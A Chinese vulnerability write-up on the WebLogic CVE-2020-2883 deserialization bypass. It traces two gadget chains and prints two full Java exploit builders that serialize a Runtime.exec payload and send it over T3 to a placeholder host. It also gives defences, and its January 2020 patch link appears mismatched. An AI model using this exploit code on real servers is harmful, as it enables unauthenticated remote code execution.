CVE-2020-2883:Weblogic反序列化
字数 1602 2025-08-19 12:41:28
CVE-2020-2883: WebLogic反序列化漏洞分析与利用
漏洞概述
CVE-2020-2883是Oracle WebLogic Server中的一个严重反序列化漏洞,CVSS评分为9.8。该漏洞允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server,成功利用可导致远程代码执行(RCE)。
影响版本
- Oracle WebLogic Server 10.3.6.0.0
- Oracle WebLogic Server 12.1.3.0.0
- Oracle WebLogic Server 12.2.1.3.0
- Oracle WebLogic Server 12.2.1.4.0
技术背景
此漏洞是对CVE-2020-2555的绕过。Oracle在CVE-2020-2555补丁中移除了LimitFilter类的toString()方法中的extract()方法调用,但攻击者仍可通过其他途径触发反序列化漏洞。
漏洞分析
补丁绕过机制
原始漏洞利用链中的关键环节是:
BadAttributeValueExpException.readObject()
com.tangosol.util.filter.LimitFilter.toString() // 补丁移除了这一环
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
//...
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
Runtime.exec()
补丁后,攻击者发现两种新的利用方式:
-
通过ExtractorComparator和AbstractExtractor类:设置ChainedExtractor为this.m_extractor的实例来调用ChainedExtractor.extract()
-
通过MultiExtractor类:通过反射设置m_aExtrator为ChainedExtractor来调用ChainedExtractor.extractor
利用链构造
第一条利用链(Gadget 1)
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
com.tangosol.util.comparator.ExtractorComparator.compare()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
.......
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
Runtime.exec()
第二条利用链(Gadget 2)
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
com.tangosol.util.extractor.AbstractExtractor.compare()
com.tangosol.util.extractor.MultiExtractor.extract()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
.......
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
Runtime.exec()
漏洞利用
EXP1构造方法
- 创建valueExtractors数组,包含精心构造的ReflectionExtractor和ConstantExtractor对象
- 将valueExtractors封装到ChainedExtractor对象中
- 新建ExtractorComparator对象并通过反射设置其m_extractor属性
- 创建PriorityQueue对象并设置自定义比较器
- 序列化生成payload并通过T3协议发送
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ConstantExtractor(Runtime.class),
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
ExtractorComparator extractorComparator = new ExtractorComparator<Object>();
Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor");
m_extractor.setAccessible(true);
m_extractor.set(extractorComparator, chainedExtractor);
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add("foo");
priorityQueue.add("bar");
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, extractorComparator);
byte[] payload = Serializables.serialize(priorityQueue);
T3ProtocolOperation.send("target_ip", "7001", payload);
EXP2构造方法
- 创建valueExtractors数组
- 封装到ChainedExtractor对象中
- 创建MultiExtractor对象并通过反射设置其父类的m_aExtractor属性
- 创建PriorityQueue对象并设置自定义比较器
- 序列化生成payload并通过T3协议发送
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ConstantExtractor(Runtime.class),
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor<>(valueExtractors);
MultiExtractor multiExtractor = new MultiExtractor();
Field m_extractor = multiExtractor.getClass().getSuperclass().getDeclaredField("m_aExtractor");
m_extractor.setAccessible(true);
m_extractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor});
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add("foo");
priorityQueue.add("bar");
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,multiExtractor);
byte[] payload = Serializables.serialize(priorityQueue);
T3ProtocolOperation.send("target_ip", "7001", payload);
防御措施
-
官方补丁:立即应用Oracle官方发布的关键补丁更新(CPU)
- 补丁链接:https://www.oracle.com/security-alerts/cpujan2020.html
-
临时缓解措施:
- 限制T3协议的网络访问
- 禁用不必要的T3协议服务
-
长期防护:
- 定期更新WebLogic Server
- 实施网络隔离策略
- 监控异常T3协议流量
参考资源
- Oracle安全公告:https://www.oracle.com/security-alerts/cpujan2020.html
- ZDI分析报告:https://www.thezdi.com/blog/2020/5/8/details-on-the-oracle-weblogic-vulnerability-being-exploited-in-the-wild
- 漏洞利用代码:https://github.com/Al1ex/CVE-2020-2883
总结
CVE-2020-2883是一个高危的WebLogic反序列化漏洞,攻击者可以通过T3协议远程执行任意代码。本文详细分析了漏洞原理,提供了两种利用方式的具体实现,并给出了防御建议。管理员应立即采取行动修补此漏洞,以防止潜在的攻击。